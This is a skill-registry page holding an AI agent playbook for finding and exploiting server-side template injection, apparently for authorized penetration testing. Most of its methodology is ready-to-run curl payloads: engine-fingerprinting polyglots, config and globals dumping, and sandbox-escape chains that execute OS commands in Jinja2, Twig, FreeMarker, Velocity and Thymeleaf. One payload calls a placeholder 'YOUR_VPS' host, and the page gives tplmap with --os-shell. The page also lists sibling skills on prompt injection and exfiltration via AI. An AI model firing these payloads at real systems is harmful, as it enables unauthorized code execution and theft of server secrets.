ssti
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for Server-Side Template Injection across Jinja2, Twig, FreeMarker, Velocity, and others, using detection polyglots to fingerprint the engine before escalating. Use when user input is rendered through a server-side templating engine — email templates, PDF/ report generation, "customize your message" features, CMS page builders, error page customization. Keywords: ssti, server-side template injection, jinja2, twig, freemarker, velocity, thymeleaf, handlebars, template engine, polyglot payload, sandbox escape, {{7*7}}. Do NOT use for client-side template injection (Angular/Vue sandbox escape rendered only in the browser) — that is a xss variant (CSTI). Do NOT use once you've already reached OS command execution — continue the escalation under rce.
- Reads credentials
8 other projects use a version of this.
Adopted by
Most recently taken up by
- SubhiSec/claude-ai-cyber-security-skillstheir own version, first seen Oct 25, 2026
- ferr079/claude-code-cybersec-skillstheir own version, first seen Oct 12, 2026
- cdxiaodong/cain-agenttheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
Used with
Projects with it also use path-traversal and nosql-injection.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
langbyyiSkillpath-traversal
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Also in 3 projects that use this
blacklanternsecuritySkillnosql-injection
Guide NoSQL injection exploitation during authorized penetration testing.
Also in 3 projects that use this
Other versions8 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 8
- cdxiaodong/cain-agent★ 953same name
- SubhiSec/claude-ai-cyber-security-skills★ 45same name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- sunilgentyala/OmniRed★ 5same name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- conjure-3301/skills★ 0same name
- ferr079/claude-code-cybersec-skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. 0 are common, 2 are distinctive, and 0 are very specific to this project.
0
Common
Most of the 6 edited versions we read keep these.
2
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 159
Document the exact payload, engine, and version (if determinable from error messages) — SSTI findings are engine/version-specific and the …
- Distinctive: line 188
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Features that generate dynamic text from user input: "email template preview," "custom report title," PDF generation with user-supplied headers/footers, CMS "custom HTML widget" blocks, error-page customization, chatbot/notification message templates.
- Input reflected with arithmetic apparently evaluated, or with template-engine-specific
artifacts leaking in error messages (
TemplateSyntaxError,UndefinedError, Twig'sTwig\Error\SyntaxError, FreeMarker'sfreemarker.core.ParseException). - Backend fingerprints suggesting a templating stack: Flask/Django (Jinja2), Symfony/Drupal (Twig), Java Spring/Struts (FreeMarker, Velocity, Thymeleaf), Node (Handlebars, EJS, Pug).
- Fields that accept markup/variables syntax hints in their own documentation (e.g., "use {{user.name}} to personalize your email").
Prerequisites
- An injection point rendered server-side through a templating engine (not just displayed verbatim — confirm arithmetic evaluation first, step 1, before anything engine-specific).
- Ideally, a fingerprint of the backend language/framework (from headers, error pages, static
asset paths like
/static/,.jsp,.php) to shortcut which polyglot segment fired.
Methodology
- Polyglot detection probe — send a single payload that disambiguates across the major
engines at once, based on which arithmetic result appears in the response:
${7*7}{{7*7}}<%= 7*7 %>${{7*7}}#{7*7}
Interpretation of which substring evaluates tocurl -s --data-urlencode "name=\${7*7}{{7*7}}<%= 7*7 %>\${{7*7}}#{7*7}" \ "https://target/preview"49:Result shows 49 for Engine {{7*7}}Jinja2, Twig ${7*7}FreeMarker, Velocity (also plain shell/EL in some contexts) ${{7*7}}some Twig sandboxed configs, Pebble #{7*7}Ruby ERB (( #{}) / some Thymeleaf SpEL contexts)<%= 7*7 %>ERB/EJS - Confirm with engine-specific syntax once the polyglot narrows it down (always test a
non-evaluating control too, e.g.
{{7*'7'}}in Jinja2 produces7777777not49— different engines distinguish string vs. numeric multiply, useful for fingerprinting Jinja2 vs Twig specifically):# Jinja2 (Python/Flask) curl -s --data-urlencode "name={{7*'7'}}" "https://target/preview" # -> 7777777 in Jinja2 # Twig (PHP/Symfony) curl -s --data-urlencode "name={{7*'7'}}" "https://target/preview" # -> 49 in Twig (type juggling) # FreeMarker (Java) curl -s --data-urlencode "name=<#assign x=7*7>\${x}" "https://target/preview" # Velocity (Java) curl -s --data-urlencode 'name=#set($x=7*7)$x' "https://target/preview" # Handlebars (Node) — generally sandboxed against expression eval, test helper abuse instead curl -s --data-urlencode 'name={{#with "constructor"}}{{lookup ../this "constructor"}}{{/with}}' \ "https://target/preview" # Thymeleaf (Java/Spring) — SpEL injection via preprocessing syntax curl -s --data-urlencode 'name=__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x' \ "https://target/preview" - Escalate to information disclosure (config/env access) before jumping to RCE — lower-risk
proof that's still a strong finding:
# Jinja2 — dump config curl -s --data-urlencode "name={{config.items()}}" "https://target/preview" curl -s --data-urlencode "name={{self.__init__.__globals__}}" "https://target/preview" # Twig curl -s --data-urlencode "name={{_self.env.getRuntimeLoaders()}}" "https://target/preview" - Escalate to RCE via sandbox-escape payloads (only after confirming the engine; coordinate
with rce for the OOB listener confirmation):
Confirm via OOB callback or direct command-output reflection, same discipline as rce.# Jinja2 — classic sandbox escape via __globals__ / __subclasses__ chain curl -s --data-urlencode \ "name={{ cycler.__init__.__globals__.os.popen('curl http://YOUR_VPS/ssti-confirm').read() }}" \ "https://target/preview" curl -s --data-urlencode \ "name={{ ''.__class__.__mro__[1].__subclasses__() }}" "https://target/preview" # (then pick the os/subprocess-adjacent class index from the output and build the exec chain) # Twig — sandbox-escape via filter abuse (version-dependent) curl -s --data-urlencode \ 'name={{["id"]|filter("system")}}' "https://target/preview" # FreeMarker — direct Execute model curl -s --data-urlencode \ 'name=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}' \ "https://target/preview" # Velocity — Runtime exec via reflection curl -s --data-urlencode \ '#set($e="exp")#set($rt=$e.class.forName("java.lang.Runtime")) #set($proc=$rt.getRuntime().exec("id"))' "https://target/preview" - Automate fingerprinting/exploitation with tplmap once a manual signal exists:
python3 tplmap.py -u "https://target/preview?name=test*" python3 tplmap.py -u "https://target/preview" --data="name=test*" --os-shell
Tooling
tplmap— automated SSTI detection and OS-shell escalation across many engines.curl— the core manual polyglot/engine-specific probing tool.- Burp Suite — Intruder with a payload list of engine-specific polyglots across all candidate params.
- Your OOB listener from ssrf/rce for blind RCE confirmation once an engine is confirmed.
Root Causes
- User input concatenated directly into a template string before rendering (
render_template_ string(user_input)in Flask,Twig::createTemplate(user_input)), rather than passed as a variable into a fixed, pre-written template. - Sandboxed template environments with known/incomplete sandbox-escape gadgets (common historical
issue in Jinja2
SandboxedEnvironment, older Twig sandbox extension versions). - "Mail merge"/personalization features exposing the full templating language to end users instead of a restricted variable-substitution-only syntax.
Validation Gate (minimum proof)
- Arithmetic evaluation confirmed (
49returned for a7*7payload) with the specific syntax that fired, pinning down the exact engine. - For RCE escalation: OOB callback received or command output reflected, same bar as rce.
- Document the exact payload, engine, and version (if determinable from error messages) — SSTI findings are engine/version-specific and the writeup should let a developer reproduce precisely.
Gotchas
- Minimum proof, not full RCE every time. Confirmed template-expression evaluation (step 1-2) without a working sandbox-escape chain is still a real, reportable SSTI finding (label severity per the demonstrated level — arithmetic eval vs. full RCE are very different CVSS scores). Don't silently drop an engine-confirmed-but-not-RCE'd finding.
- Common N/A: input is HTML-escaped before reaching the template (common when a templating
engine's auto-escape is on for the output but the payload still gets rendered as literal text)
— verify the arithmetic actually evaluates, not just that your
{{ }}syntax survives unescaped in the HTML. - Common N/A: some frameworks pre-compile templates at build time and only interpolate
data into named placeholders (e.g., Handlebars
{{name}}with no raw-HTML triple-stash and no custom helper abuse) — true SSTI requires the user input to become part of the template source, not just a bound variable; confirm which case you're in before claiming SSTI (a bound-variable-only case is XSS territory at most, not SSTI). - Overclaim trap:
7*7evaluating in a URL or math-widget feature that is supposed to do math (a calculator app) is not a vulnerability — confirm the context is a templating engine applied to otherwise-static content, not a feature whose entire purpose is expression evaluation. - Sandbox-escape payload chains are Python/library-version-sensitive (the
__subclasses__()index for a usableos-adjacent class shifts between versions) — always enumerate the actual subclasses list from the target rather than hardcoding an index from a write-up.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- File read — Can you read files from the server via the template engine's file-access primitives?
- Full RCE — Can you escalate from template expression evaluation to full OS command execution, not just an arithmetic/string proof?
- Cross-engine portability — Which template engine is it, and does the payload work across engines (Jinja2, Twig, Freemarker, Velocity) or is it engine-specific?
- Stored vs reflected — Is the injection in a user-visible stored field (profile, comment) or only a reflected, one-shot context? Stored SSTI raises severity.
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- SSTI → rce (direct escalation path — see rce's SSTI-to-RCE step).
- SSTI → info-disclosure (config/env/secret dumping via template introspection, even without full RCE).
- SSTI → lfi-rfi when the template engine's built-in
include/importdirectives can be abused to read arbitrary files (e.g., Twig's{{ include() }}with a path traversal payload).
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

